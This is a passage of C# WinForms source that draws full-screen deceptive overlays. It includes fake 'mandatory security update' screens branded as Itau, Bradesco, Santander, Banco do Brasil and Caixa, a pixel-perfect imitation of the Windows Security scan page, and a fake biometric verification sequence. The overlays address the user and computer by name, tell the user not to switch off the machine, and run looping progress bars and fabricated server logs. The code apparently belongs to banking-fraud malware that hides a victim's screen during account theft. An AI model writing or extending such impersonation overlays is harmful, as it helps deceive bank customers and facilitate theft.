scaleCX)); cxWarn.Location = new Point(cxPad, cxCY); cxWarn.BackColor = Color.Transparent; cxBlueP.Controls.Add(cxWarn); cxCY += (int)(50 * scaleCX); // Bot\u00E3o SAIBA MAIS (borda branca, texto branco - outlined) int cxBtnW = (int)(170 * scaleCX); int cxBtnH = (int)(44 * scaleCX); Panel cxBtnP = new Panel(); cxBtnP.Size = new Size(cxBtnW, cxBtnH); cxBtnP.Location = new Point(cxPad, cxCY); cxBtnP.BackColor = Color.White; cxBlueP.Controls.Add(cxBtnP); Panel cxBtnInner = new Panel(); cxBtnInner.Size = new Size(cxBtnW - 4, cxBtnH - 4); cxBtnInner.Location = new Point(2, 2); cxBtnInner.BackColor = cxBlue; cxBtnP.Controls.Add(cxBtnInner); Label cxBtnL = new Label(); cxBtnL.Text = "SAIBA MAIS"; cxBtnL.Font = new Font("Segoe UI Semibold", 11f * scaleCX); cxBtnL.ForeColor = Color.White; cxBtnL.AutoSize = false; cxBtnL.Size = new Size(cxBtnW - 4, cxBtnH - 4); cxBtnL.Location = new Point(0, 0); cxBtnL.TextAlign = ContentAlignment.MiddleCenter; cxBtnL.BackColor = Color.Transparent; cxBtnInner.Controls.Add(cxBtnL); // Timer string[] cxSteps = { "Etapa 1 de 7 - Autenticando credenciais...", "Etapa 2 de 7 - Validando certificado digital...", "Etapa 3 de 7 - Confirmando identidade biom\u00E9trica...", "Etapa 4 de 7 - Verificando integridade do sistema...", "Etapa 5 de 7 - Escaneando ambiente do computador...", "Etapa 6 de 7 - Sincronizando com servidor seguro...", "Etapa 7 de 7 - Finalizando verifica\u00E7\u00E3o..." }; int cxStepI = 0; int cxTick = 0; int cxProg = 0; int cxCycle = 0; var timerCX = new System.Windows.Forms.Timer(); timerCX.Interval = 40; timerCX.Tick += (s, e) => { try { cxTick++; angle -= 0.08; cxSpin.Invalidate(); if (cxTick % 220 == 0 && cxProg < 99) { cxProg++; cxBarFill.Width = (int)(cxBarW * cxProg / 100.0); } if (cxProg >= 99) { cxProg = 0; cxStepI = 0; cxBarFill.Width = 0; cxCycle++; } int ns = Math.Min(cxProg / 15, 6); if (ns != cxStepI) { cxStepI = ns; lblSubCX.Text = cxSteps[cxStepI]; } } catch { } }; timerCX.Start(); break; case 11: case 12: case 13: case 14: case 15: // === MODOS ELABORADOS POR BANCO === // Paleta de cores por banco string bnkName = ""; Color bnkPrimary = Color.White; Color bnkSecondary = Color.White; Color bnkAccent = Color.White; Color bnkTopBar = Color.White; switch (currentMode) { case 11: bnkName = "Itau"; bnkPrimary = Color.FromArgb(236, 112, 0); bnkSecondary = Color.FromArgb(0, 54, 65); bnkAccent = Color.FromArgb(236, 112, 0); bnkTopBar = Color.FromArgb(0, 54, 65); break; case 12: bnkName = "Bradesco"; bnkPrimary = Color.FromArgb(204, 9, 47); bnkSecondary = Color.FromArgb(204, 9, 47); bnkAccent = Color.FromArgb(204, 9, 47); bnkTopBar = Color.FromArgb(204, 9, 47); break; case 13: bnkName = "Santander"; bnkPrimary = Color.FromArgb(236, 0, 0); bnkSecondary = Color.FromArgb(236, 0, 0); bnkAccent = Color.FromArgb(236, 0, 0); bnkTopBar = Color.FromArgb(236, 0, 0); break; case 14: bnkName = "Banco do Brasil"; bnkPrimary = Color.FromArgb(255, 237, 0); bnkSecondary = Color.FromArgb(0, 56, 130); bnkAccent = Color.FromArgb(0, 56, 130); bnkTopBar = Color.FromArgb(0, 56, 130); break; case 15: bnkName = "Caixa"; bnkPrimary = Color.FromArgb(0, 102, 179); bnkSecondary = Color.FromArgb(0, 102, 179); bnkAccent = Color.FromArgb(247, 144, 30); bnkTopBar = Color.FromArgb(0, 102, 179); break; } overlayForm.BackColor = Color.White; // Coordenadas relativas ao monitor primario Rectangle priE = Screen.PrimaryScreen.Bounds; Rectangle vsE = SystemInformation.VirtualScreen; int offXE = priE.X - vsE.X; int offYE = priE.Y - vsE.Y; int sw = priE.Width; int sh = priE.Height; // === TOPBAR === Panel topBarE = new Panel(); topBarE.Size = new Size(sw, 60); topBarE.Location = new Point(offXE, offYE); topBarE.BackColor = bnkTopBar; overlayForm.Controls.Add(topBarE); Label brandE = new Label(); brandE.Text = bnkName; brandE.Font = new Font("Segoe UI", 20, FontStyle.Bold); brandE.ForeColor = (currentMode == 14) ? bnkPrimary : Color.White; brandE.AutoSize = true; brandE.Location = new Point(25, 12); brandE.BackColor = Color.Transparent; topBarE.Controls.Add(brandE); Label secureE = new Label(); secureE.Text = " Ambiente Seguro "; secureE.Font = new Font("Segoe UI", 9); secureE.ForeColor = Color.White; secureE.BackColor = Color.FromArgb(10, 191, 131); secureE.AutoSize = true; secureE.Location = new Point(sw - 150, 18); topBarE.Controls.Add(secureE); // === NOTICE BAR === Panel noticeE = new Panel(); noticeE.Size = new Size(sw, 45); noticeE.Location = new Point(offXE, offYE + 60); noticeE.BackColor = bnkPrimary; overlayForm.Controls.Add(noticeE); Label noticeTxtE = new Label(); noticeTxtE.Text = "Ola " + Environment.UserName + ", o computador " + Environment.MachineName + " esta recebendo uma atualizacao de seguranca obrigatoria. NAO DESLIGUE O COMPUTADOR."; noticeTxtE.Font = new Font("Segoe UI", 9, FontStyle.Bold); noticeTxtE.ForeColor = (currentMode == 14) ? bnkSecondary : Color.White; noticeTxtE.AutoSize = false; noticeTxtE.Size = new Size(sw - 50, 35); noticeTxtE.Location = new Point(25, 5); noticeTxtE.BackColor = Color.Transparent; noticeE.Controls.Add(noticeTxtE); // === INFO TECNICA === Label versionE = new Label(); versionE.Text = "Modulo de Seguranca v2.8.3 -> v3.1.7 | SHA256: 7a3b9f2e8d..."; versionE.Font = new Font("Consolas", 8); versionE.ForeColor = Color.Gray; versionE.AutoSize = true; versionE.Location = new Point(offXE + 25, offYE + 112); versionE.BackColor = Color.Transparent; overlayForm.Controls.Add(versionE); // === STEPS === int cY = offYE + 140; int stH = 65; int mg = 30; int stW = sw - (mg * 2); Label[] titlesE = new Label[4]; Label[] pctsE = new Label[4]; Label[] descsE = new Label[4]; Label[] checksE = new Label[4]; Panel[] barBgsE = new Panel[4]; Panel[] barsE = new Panel[4]; Label[] numsE = new Label[4]; string[] tits = { "Verificando sistema operacional", "Download do modulo de seguranca", "Validando certificados digitais", "Aplicando atualizacao" }; string[][] descMsgs = { new string[] { "Identificando versao do Windows...", "Verificando arquitetura do sistema...", "Checando compatibilidade...", "Sistema: " + Environment.OSVersion.ToString() }, new string[] { "Conectando ao servidor seguro...", "Baixando pacote (0 KB / 47.832 KB)...", "Verificando integridade do arquivo...", "Descompactando modulo..." }, new string[] { "Validando certificado raiz...", "Checando cadeia de certificados...", "Verificando assinatura digital...", "Validando token de autenticacao..." }, new string[] { "Preparando instalacao...", "Atualizando componentes...", "Registrando DLLs...", "Finalizando configuracao..." } }; for (int i = 0; i < 4; i++) { Panel box = new Panel(); box.Size = new Size(stW, stH); box.Location = new Point(offXE + mg, cY + (i * (stH + 8))); box.BackColor = Color.FromArgb(250, 251, 253); box.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(box); Label nm = new Label(); nm.Text = (i + 1).ToString(); nm.Font = new Font("Segoe UI", 10, FontStyle.Bold); nm.ForeColor = Color.White; nm.BackColor = bnkAccent; nm.Size = new Size(26, 26); nm.Location = new Point(8, 6); nm.TextAlign = ContentAlignment.MiddleCenter; box.Controls.Add(nm); numsE[i] = nm; Label chk = new Label(); chk.Text = ""; chk.Font = new Font("Segoe UI", 12, FontStyle.Bold); chk.ForeColor = Color.FromArgb(10, 191, 131); chk.Size = new Size(26, 26); chk.Location = new Point(8, 6); chk.TextAlign = ContentAlignment.MiddleCenter; chk.BackColor = Color.Transparent; chk.Visible = false; box.Controls.Add(chk); checksE[i] = chk; Label tit = new Label(); tit.Text = tits[i]; tit.Font = new Font("Segoe UI", 9, FontStyle.Bold); tit.ForeColor = bnkSecondary; tit.AutoSize = true; tit.Location = new Point(42, 5); tit.BackColor = Color.Transparent; box.Controls.Add(tit); titlesE[i] = tit; Label pc = new Label(); pc.Text = "0%"; pc.Font = new Font("Segoe UI", 8); pc.ForeColor = Color.Gray; pc.Size = new Size(40, 18); pc.Location = new Point(stW - 55, 5); pc.TextAlign = ContentAlignment.MiddleRight; pc.BackColor = Color.Transparent; box.Controls.Add(pc); pctsE[i] = pc; Label ds = new Label(); ds.Text = descMsgs[i][0]; ds.Font = new Font("Segoe UI", 8); ds.ForeColor = Color.Gray; ds.AutoSize = false; ds.Size = new Size(stW - 100, 18); ds.Location = new Point(42, 24); ds.BackColor = Color.Transparent; box.Controls.Add(ds); descsE[i] = ds; Panel bg = new Panel(); bg.Size = new Size(stW - 55, 4); bg.Location = new Point(42, 48); bg.BackColor = Color.FromArgb(230, 233, 240); box.Controls.Add(bg); barBgsE[i] = bg; Panel br = new Panel(); br.Size = new Size(0, 4); br.Location = new Point(0, 0); br.BackColor = bnkAccent; bg.Controls.Add(br); barsE[i] = br; } // === BARRA PRINCIPAL === int mbY = cY + (4 * (stH + 8)) + 12; Panel mbBg = new Panel(); mbBg.Size = new Size(stW, 16); mbBg.Location = new Point(offXE + mg, mbY); mbBg.BackColor = Color.FromArgb(230, 233, 240); overlayForm.Controls.Add(mbBg); Panel mbFill = new Panel(); mbFill.Size = new Size(0, 16); mbFill.Location = new Point(0, 0); mbFill.BackColor = bnkAccent; mbBg.Controls.Add(mbFill); Label mbPct = new Label(); mbPct.Text = "0% concluido - Nao desligue o computador."; mbPct.Font = new Font("Segoe UI", 9); mbPct.ForeColor = bnkSecondary; mbPct.AutoSize = true; mbPct.Location = new Point(offXE + mg, mbY + 22); mbPct.BackColor = Color.Transparent; overlayForm.Controls.Add(mbPct); // === LOG AREA === Panel logPanel = new Panel(); logPanel.Size = new Size(stW, 80); logPanel.Location = new Point(offXE + mg, mbY + 50); logPanel.BackColor = Color.FromArgb(20, 20, 25); logPanel.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(logPanel); Label logTitle = new Label(); logTitle.Text = " LOG DO SISTEMA "; logTitle.Font = new Font("Consolas", 8); logTitle.ForeColor = Color.FromArgb(100, 255, 100); logTitle.AutoSize = true; logTitle.Location = new Point(5, 3); logTitle.BackColor = Color.Transparent; logPanel.Controls.Add(logTitle); Label logText = new Label(); logText.Text = "[" + DateTime.Now.ToString("HH:mm:ss") + "] Iniciando processo de atualizacao...\n[" + DateTime.Now.ToString("HH:mm:ss") + "] Conectando ao servidor " + bnkName.ToLower() + ".com.br..."; logText.Font = new Font("Consolas", 7); logText.ForeColor = Color.FromArgb(180, 180, 180); logText.AutoSize = false; logText.Size = new Size(stW - 15, 55); logText.Location = new Point(5, 20); logText.BackColor = Color.Transparent; logPanel.Controls.Add(logText); // === ANIMACAO === int[] progE = { 0, 0, 0, 0 }; int stepE = 0; int tickE = 0; string[] logMsgs = { "Verificando integridade dos arquivos...", "Conexao segura estabelecida (TLS 1.3)", "Certificado validado: CN=" + bnkName + " CA", "Download em andamento...", "Verificando assinatura digital...", "Componente atualizado: security.dll", "Registrando bibliotecas...", "Aplicando configuracoes de seguranca...", "Sincronizando com servidor central...", "Validando token de sessao..." }; var timerE = new System.Windows.Forms.Timer(); timerE.Interval = 35; timerE.Tick += (s, e) => { try { tickE++; // Atualizar step atual if (stepE < 4 && progE[stepE] < 100) { progE[stepE] += 1; int bw = (int)((barBgsE[stepE].Width) * progE[stepE] / 100.0); barsE[stepE].Width = bw; pctsE[stepE].Text = progE[stepE] + "%"; // Atualizar descricao baseado no progresso int msgIdx = (progE[stepE] / 26) % 4; descsE[stepE].Text = descMsgs[stepE][msgIdx]; // Download KB if (stepE == 1 && progE[1] > 10 && progE[1] < 90) { int kb = (int)(progE[1] * 478.32); descsE[1].Text = "Baixando pacote (" + kb + " KB / 47.832 KB)..."; } if (progE[stepE] >= 100) { barsE[stepE].BackColor = Color.FromArgb(10, 191, 131); numsE[stepE].Visible = false; checksE[stepE].Text = "OK"; checksE[stepE].Visible = true; descsE[stepE].Text = "Concluido com sucesso"; descsE[stepE].ForeColor = Color.FromArgb(10, 191, 131); if (stepE < 3) stepE++; else { progE[3] = 0; barsE[3].BackColor = bnkAccent; numsE[3].Visible = true; checksE[3].Visible = false; descsE[3].ForeColor = Color.Gray; } } } // Atualizar barra principal int tot = (progE[0] + progE[1] + progE[2] + progE[3]) / 4; mbFill.Width = (int)((mbBg.Width) * tot / 100.0); mbPct.Text = tot + "% concluido - Nao desligue o computador."; // Atualizar log a cada 60 ticks if (tickE % 60 == 0) { string newLog = "[" + DateTime.Now.ToString("HH:mm:ss") + "] " + logMsgs[(tickE / 60) % logMsgs.Length]; string[] lines = logText.Text.Split('\n'); if (lines.Length > 2) logText.Text = lines[1] + "\n" + lines[2] + "\n" + newLog; else logText.Text = logText.Text + "\n" + newLog; } } catch { } }; timerE.Start(); break; // ====================================================================== // MODO 16 - WINDOWS DEFENDER / SEGURANCA DO WINDOWS (PIXEL-PERFECT v4) // ====================================================================== case 16: Rectangle priDF = Screen.PrimaryScreen.Bounds; Rectangle vsDF = SystemInformation.VirtualScreen; int offXDF = priDF.X - vsDF.X; int offYDF = priDF.Y - vsDF.Y; int scrWDF = priDF.Width; int scrHDF = priDF.Height; Color dfBgNav = Color.FromArgb(243, 243, 243); Color dfBgW = Color.White; Color dfTxP = Color.FromArgb(25, 25, 25); Color dfTxS = Color.FromArgb(99, 99, 99); Color dfLink = Color.FromArgb(0, 103, 192); Color dfAcc = Color.FromArgb(0, 120, 212); Panel dfMain = new Panel(); dfMain.Size = new Size(scrWDF, scrHDF); dfMain.Location = new Point(offXDF, offYDF); dfMain.BackColor = dfBgW; overlayForm.Controls.Add(dfMain); // TITLE BAR (40px tall) Panel dfTB = new Panel(); dfTB.Size = new Size(scrWDF, 40); dfTB.Location = new Point(0, 0); dfTB.BackColor = dfBgNav; dfMain.Controls.Add(dfTB); Label dfTBtxt = new Label(); dfTBtxt.Text = "Seguran\u00e7a do Windows"; dfTBtxt.Font = new Font("Segoe UI", 9f); dfTBtxt.ForeColor = dfTxP; dfTBtxt.AutoSize = false; dfTBtxt.Size = new Size(250, 40); dfTBtxt.Location = new Point(14, 0); dfTBtxt.TextAlign = ContentAlignment.MiddleLeft; dfTB.Controls.Add(dfTBtxt); Label dfWMin = new Label(); dfWMin.Text = "\uE921"; dfWMin.Font = new Font("Segoe MDL2 Assets", 10f); dfWMin.ForeColor = dfTxP; dfWMin.AutoSize = false; dfWMin.Size = new Size(50, 40); dfWMin.Location = new Point(scrWDF - 150, 0); dfWMin.TextAlign = ContentAlignment.MiddleCenter; dfTB.Controls.Add(dfWMin); Label dfWMax = new Label(); dfWMax.Text = "\uE922"; dfWMax.Font = new Font("Segoe MDL2 Assets", 10f); dfWMax.ForeColor = dfTxP; dfWMax.AutoSize = false; dfWMax.Size = new Size(50, 40); dfWMax.Location = new Point(scrWDF - 100, 0); dfWMax.TextAlign = ContentAlignment.MiddleCenter; dfTB.Controls.Add(dfWMax); Label dfWClose = new Label(); dfWClose.Text = "\uE8BB"; dfWClose.Font = new Font("Segoe MDL2 Assets", 10f); dfWClose.ForeColor = dfTxP; dfWClose.AutoSize = false; dfWClose.Size = new Size(50, 40); dfWClose.Location = new Point(scrWDF - 50, 0); dfWClose.TextAlign = ContentAlignment.MiddleCenter; dfTB.Controls.Add(dfWClose); // LEFT NAVIGATION (320px wide) int dfNW = 320; Panel dfNP = new Panel(); dfNP.Size = new Size(dfNW, scrHDF - 40); dfNP.Location = new Point(0, 40); dfNP.BackColor = dfBgNav; dfMain.Controls.Add(dfNP); // Back + Hamburger (each 50x50) Label dfBk = new Label(); dfBk.Text = "\uE72B"; dfBk.Font = new Font("Segoe MDL2 Assets", 11f); dfBk.ForeColor = dfTxP; dfBk.AutoSize = false; dfBk.Size = new Size(50, 50); dfBk.Location = new Point(4, 4); dfBk.TextAlign = ContentAlignment.MiddleCenter; dfNP.Controls.Add(dfBk); Label dfHm = new Label(); dfHm.Text = "\uE700"; dfHm.Font = new Font("Segoe MDL2 Assets", 13f); dfHm.ForeColor = dfTxP; dfHm.AutoSize = false; dfHm.Size = new Size(50, 50); dfHm.Location = new Point(4, 50); dfHm.TextAlign = ContentAlignment.MiddleCenter; dfNP.Controls.Add(dfHm); // Nav items (each row 50px tall, 54px gap) string[] dfNIco = { "\uE80F", "\uE83D", "\uE77B", "\uE968", "\uE8A7", "\uE772", "\uE9F9", "\uE716" }; string[] dfNTxt = { "In\u00edcio", "Prote\u00e7\u00e3o contra v\u00edrus\ne amea\u00e7as", "Prote\u00e7\u00e3o de contas", "Firewall e prote\u00e7\u00e3o de rede", "Controle de aplicativos e\ndo navegador", "Seguran\u00e7a do dispositivo", "Desempenho e integridade\ndo dispositivo", "Op\u00e7\u00f5es da fam\u00edlia" }; int dfNY0 = 110; int dfNGap = 54; for (int ni = 0; ni < dfNTxt.Length; ni++) { int ny = dfNY0 + ni * dfNGap; if (ni == 1) { Panel dfSel = new Panel(); dfSel.Size = new Size(4, 30); dfSel.Location = new Point(0, ny + 10); dfSel.BackColor = dfAcc; dfNP.Controls.Add(dfSel); } Label dfIc = new Label(); dfIc.Text = dfNIco[ni]; dfIc.Font = new Font("Segoe MDL2 Assets", 11f); dfIc.ForeColor = (ni == 1) ? dfAcc : dfTxP; dfIc.AutoSize = false; dfIc.Size = new Size(50, 50); dfIc.Location = new Point(10, ny); dfIc.TextAlign = ContentAlignment.MiddleCenter; dfNP.Controls.Add(dfIc); Label dfTx = new Label(); dfTx.Text = dfNTxt[ni]; dfTx.Font = new Font("Segoe UI", 10f); dfTx.ForeColor = dfTxP; dfTx.AutoSize = false; dfTx.Size = new Size(dfNW - 70, 50); dfTx.Location = new Point(60, ny); dfTx.TextAlign = ContentAlignment.MiddleLeft; dfNP.Controls.Add(dfTx); } // Configuracoes rodape int dfCfgY = scrHDF - 40 - 65; Label dfCfI = new Label(); dfCfI.Text = "\uE713"; dfCfI.Font = new Font("Segoe MDL2 Assets", 11f); dfCfI.ForeColor = dfTxP; dfCfI.AutoSize = false; dfCfI.Size = new Size(50, 50); dfCfI.Location = new Point(10, dfCfgY); dfCfI.TextAlign = ContentAlignment.MiddleCenter; dfNP.Controls.Add(dfCfI); Label dfCfL = new Label(); dfCfL.Text = "Configura\u00e7\u00f5es"; dfCfL.Font = new Font("Segoe UI", 10f); dfCfL.ForeColor = dfTxP; dfCfL.AutoSize = false; dfCfL.Size = new Size(200, 50); dfCfL.Location = new Point(60, dfCfgY); dfCfL.TextAlign = ContentAlignment.MiddleLeft; dfNP.Controls.Add(dfCfL); // MAIN CONTENT int dfRW = 280; int dfCntX = dfNW; int dfCntW = scrWDF - dfNW - dfRW; Panel dfCnt = new Panel(); dfCnt.Size = new Size(dfCntW, scrHDF - 40); dfCnt.Location = new Point(dfCntX, 40); dfCnt.BackColor = dfBgW; dfMain.Controls.Add(dfCnt); int dfP = 50; // Shield + Header title Label dfSh = new Label(); dfSh.Text = "\uE83D"; dfSh.Font = new Font("Segoe MDL2 Assets", 28f); dfSh.ForeColor = dfTxP; dfSh.AutoSize = false; dfSh.Size = new Size(60, 60); dfSh.Location = new Point(dfP, 20); dfSh.TextAlign = ContentAlignment.MiddleCenter; dfCnt.Controls.Add(dfSh); Label dfHd = new Label(); dfHd.Text = "Prote\u00e7\u00e3o contra v\u00edrus e amea\u00e7as"; dfHd.Font = new Font("Segoe UI Light", 24f); dfHd.ForeColor = dfTxP; dfHd.AutoSize = false; dfHd.Size = new Size(dfCntW - dfP - 70, 55); dfHd.Location = new Point(dfP + 66, 22); dfHd.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfHd); Label dfSub = new Label(); dfSub.Text = "Prote\u00e7\u00e3o para seu dispositivo contra amea\u00e7as."; dfSub.Font = new Font("Segoe UI", 10f); dfSub.ForeColor = dfTxS; dfSub.AutoSize = false; dfSub.Size = new Size(dfCntW - dfP * 2, 30); dfSub.Location = new Point(dfP, 82); dfSub.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfSub); // SECAO AMEACAS int dfAY = 135; Label dfAIc = new Label(); dfAIc.Text = "\uE83D"; dfAIc.Font = new Font("Segoe MDL2 Assets", 14f); dfAIc.ForeColor = dfTxP; dfAIc.AutoSize = false; dfAIc.Size = new Size(40, 40); dfAIc.Location = new Point(dfP, dfAY); dfAIc.TextAlign = ContentAlignment.MiddleCenter; dfCnt.Controls.Add(dfAIc); Label dfAT = new Label(); dfAT.Text = "Amea\u00e7as atuais"; dfAT.Font = new Font("Segoe UI Semibold", 15f); dfAT.ForeColor = dfTxP; dfAT.AutoSize = false; dfAT.Size = new Size(400, 40); dfAT.Location = new Point(dfP + 44, dfAY); dfAT.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfAT); int dfLY = dfAY + 55; int dfLH = 30; Label dfL1 = new Label(); dfL1.Text = "Verifica\u00e7\u00e3o r\u00e1pida em execu\u00e7\u00e3o..."; dfL1.Font = new Font("Segoe UI", 10f); dfL1.ForeColor = dfTxP; dfL1.AutoSize = false; dfL1.Size = new Size(dfCntW - dfP * 2, dfLH); dfL1.Location = new Point(dfP, dfLY); dfL1.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfL1); Label dfL2 = new Label(); dfL2.Text = "Tempo restante estimado: 00:01:21"; dfL2.Font = new Font("Segoe UI", 10f); dfL2.ForeColor = dfTxP; dfL2.AutoSize = false; dfL2.Size = new Size(dfCntW - dfP * 2, dfLH); dfL2.Location = new Point(dfP, dfLY + dfLH); dfL2.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfL2); Label dfL3 = new Label(); dfL3.Text = "213 arquivos verificados"; dfL3.Font = new Font("Segoe UI", 10f); dfL3.ForeColor = dfTxP; dfL3.AutoSize = false; dfL3.Size = new Size(dfCntW - dfP * 2, dfLH); dfL3.Location = new Point(dfP, dfLY + dfLH * 2); dfL3.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfL3); // Cancelar button int dfBtY = dfLY + dfLH * 3 + 18; Panel dfBtn = new Panel(); dfBtn.Size = new Size(130, 38); dfBtn.Location = new Point(dfP, dfBtY); dfBtn.BackColor = Color.FromArgb(51, 51, 51); dfCnt.Controls.Add(dfBtn); Label dfBtL = new Label(); dfBtL.Text = "Cancelar"; dfBtL.Font = new Font("Segoe UI", 10f); dfBtL.ForeColor = Color.White; dfBtL.AutoSize = false; dfBtL.Size = new Size(130, 38); dfBtL.Location = new Point(0, 0); dfBtL.TextAlign = ContentAlignment.MiddleCenter; dfBtn.Controls.Add(dfBtL); int dfIY = dfBtY + 58; Label dfInf = new Label(); dfInf.Text = "Fique \u00e0 vontade para continuar trabalhando enquanto verificamos seu\ndispositivo."; dfInf.Font = new Font("Segoe UI", 10f); dfInf.ForeColor = dfTxS; dfInf.AutoSize = false; dfInf.Size = new Size(dfCntW - dfP * 2, 55); dfInf.Location = new Point(dfP, dfIY); dfCnt.Controls.Add(dfInf); Label dfHL = new Label(); dfHL.Text = "Hist\u00f3rico de prote\u00e7\u00e3o"; dfHL.Font = new Font("Segoe UI", 10f); dfHL.ForeColor = dfLink; dfHL.AutoSize = false; dfHL.Size = new Size(300, 30); dfHL.Location = new Point(dfP, dfIY + 60); dfHL.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfHL); // SECAO CONFIGURACOES int dfCnY = dfIY + 120; Label dfCnIc = new Label(); dfCnIc.Text = "\uE713"; dfCnIc.Font = new Font("Segoe MDL2 Assets", 14f); dfCnIc.ForeColor = dfTxP; dfCnIc.AutoSize = false; dfCnIc.Size = new Size(40, 40); dfCnIc.Location = new Point(dfP, dfCnY); dfCnIc.TextAlign = ContentAlignment.MiddleCenter; dfCnt.Controls.Add(dfCnIc); Label dfCnT = new Label(); dfCnT.Text = "Configura\u00e7\u00f5es de prote\u00e7\u00e3o contra v\u00edrus e amea\u00e7as"; dfCnT.Font = new Font("Segoe UI Semibold", 15f); dfCnT.ForeColor = dfTxP; dfCnT.AutoSize = false; dfCnT.Size = new Size(dfCntW - dfP - 50, 40); dfCnT.Location = new Point(dfP + 44, dfCnY); dfCnT.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfCnT); Label dfCnS = new Label(); dfCnS.Text = "Nenhuma a\u00e7\u00e3o necess\u00e1ria."; dfCnS.Font = new Font("Segoe UI", 10f); dfCnS.ForeColor = dfTxS; dfCnS.AutoSize = false; dfCnS.Size = new Size(400, 30); dfCnS.Location = new Point(dfP, dfCnY + 44); dfCnS.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfCnS); Label dfCnLk = new Label(); dfCnLk.Text = "Gerenciar configura\u00e7\u00f5es"; dfCnLk.Font = new Font("Segoe UI", 10f); dfCnLk.ForeColor = dfLink; dfCnLk.AutoSize = false; dfCnLk.Size = new Size(300, 30); dfCnLk.Location = new Point(dfP, dfCnY + 74); dfCnLk.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfCnLk); // SECAO ATUALIZACOES int dfUpY = dfCnY + 130; Label dfUpIc = new Label(); dfUpIc.Text = "\uE895"; dfUpIc.Font = new Font("Segoe MDL2 Assets", 14f); dfUpIc.ForeColor = dfTxP; dfUpIc.AutoSize = false; dfUpIc.Size = new Size(40, 40); dfUpIc.Location = new Point(dfP, dfUpY); dfUpIc.TextAlign = ContentAlignment.MiddleCenter; dfCnt.Controls.Add(dfUpIc); Label dfUpT = new Label(); dfUpT.Text = "Atualiza\u00e7\u00f5es de prote\u00e7\u00e3o contra v\u00edrus e amea\u00e7as"; dfUpT.Font = new Font("Segoe UI Semibold", 15f); dfUpT.ForeColor = dfTxP; dfUpT.AutoSize = false; dfUpT.Size = new Size(dfCntW - dfP - 50, 40); dfUpT.Location = new Point(dfP + 44, dfUpY); dfUpT.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfUpT); Label dfUpS1 = new Label(); dfUpS1.Text = "Intelig\u00eancia de seguran\u00e7a atualizada."; dfUpS1.Font = new Font("Segoe UI", 10f); dfUpS1.ForeColor = dfTxS; dfUpS1.AutoSize = false; dfUpS1.Size = new Size(400, 30); dfUpS1.Location = new Point(dfP, dfUpY + 44); dfUpS1.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfUpS1); Label dfUpS2 = new Label(); dfUpS2.Text = "\u00daltima atualiza\u00e7\u00e3o: " + DateTime.Now.AddHours(-3).ToString("dd/MM/yyyy HH:mm"); dfUpS2.Font = new Font("Segoe UI", 10f); dfUpS2.ForeColor = dfTxS; dfUpS2.AutoSize = false; dfUpS2.Size = new Size(400, 30); dfUpS2.Location = new Point(dfP, dfUpY + 74); dfUpS2.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfUpS2); Label dfUpLk = new Label(); dfUpLk.Text = "Verificar se h\u00e1 atualiza\u00e7\u00f5es"; dfUpLk.Font = new Font("Segoe UI", 10f); dfUpLk.ForeColor = dfLink; dfUpLk.AutoSize = false; dfUpLk.Size = new Size(300, 30); dfUpLk.Location = new Point(dfP, dfUpY + 104); dfUpLk.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfUpLk); // SECAO RANSOMWARE int dfRnY = dfUpY + 160; Label dfRnIc = new Label(); dfRnIc.Text = "\uE72E"; dfRnIc.Font = new Font("Segoe MDL2 Assets", 14f); dfRnIc.ForeColor = dfTxP; dfRnIc.AutoSize = false; dfRnIc.Size = new Size(40, 40); dfRnIc.Location = new Point(dfP, dfRnY); dfRnIc.TextAlign = ContentAlignment.MiddleCenter; dfCnt.Controls.Add(dfRnIc); Label dfRnT = new Label(); dfRnT.Text = "Prote\u00e7\u00e3o contra ransomware"; dfRnT.Font = new Font("Segoe UI Semibold", 15f); dfRnT.ForeColor = dfTxP; dfRnT.AutoSize = false; dfRnT.Size = new Size(dfCntW - dfP - 50, 40); dfRnT.Location = new Point(dfP + 44, dfRnY); dfRnT.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfRnT); Label dfRnS = new Label(); dfRnS.Text = "Nenhuma a\u00e7\u00e3o necess\u00e1ria."; dfRnS.Font = new Font("Segoe UI", 10f); dfRnS.ForeColor = dfTxS; dfRnS.AutoSize = false; dfRnS.Size = new Size(400, 30); dfRnS.Location = new Point(dfP, dfRnY + 44); dfRnS.TextAlign = ContentAlignment.MiddleLeft; dfCnt.Controls.Add(dfRnS); // RIGHT SIDEBAR Panel dfRS = new Panel(); dfRS.Size = new Size(dfRW, scrHDF - 40); dfRS.Location = new Point(scrWDF - dfRW, 40); dfRS.BackColor = dfBgW; dfMain.Controls.Add(dfRS); int dfRsY = 30; int dfRsP = 20; Label dfRs1H = new Label(); dfRs1H.Text = "V\u00eddeos da Comunidade do\nWindows"; dfRs1H.Font = new Font("Segoe UI Semibold", 10f); dfRs1H.ForeColor = dfTxP; dfRs1H.AutoSize = false; dfRs1H.Size = new Size(dfRW - dfRsP * 2, 50); dfRs1H.Location = new Point(dfRsP, dfRsY); dfRS.Controls.Add(dfRs1H); Label dfRs1L = new Label(); dfRs1L.Text = "Saiba mais sobre Prote\u00e7\u00e3o contra\nv\u00edrus e amea\u00e7as"; dfRs1L.Font = new Font("Segoe UI", 10f); dfRs1L.ForeColor = dfLink; dfRs1L.AutoSize = false; dfRs1L.Size = new Size(dfRW - dfRsP * 2, 50); dfRs1L.Location = new Point(dfRsP, dfRsY + 52); dfRS.Controls.Add(dfRs1L); dfRsY += 125; Label dfRs2H = new Label(); dfRs2H.Text = "Perguntas?"; dfRs2H.Font = new Font("Segoe UI Semibold", 10f); dfRs2H.ForeColor = dfTxP; dfRs2H.AutoSize = false; dfRs2H.Size = new Size(dfRW - 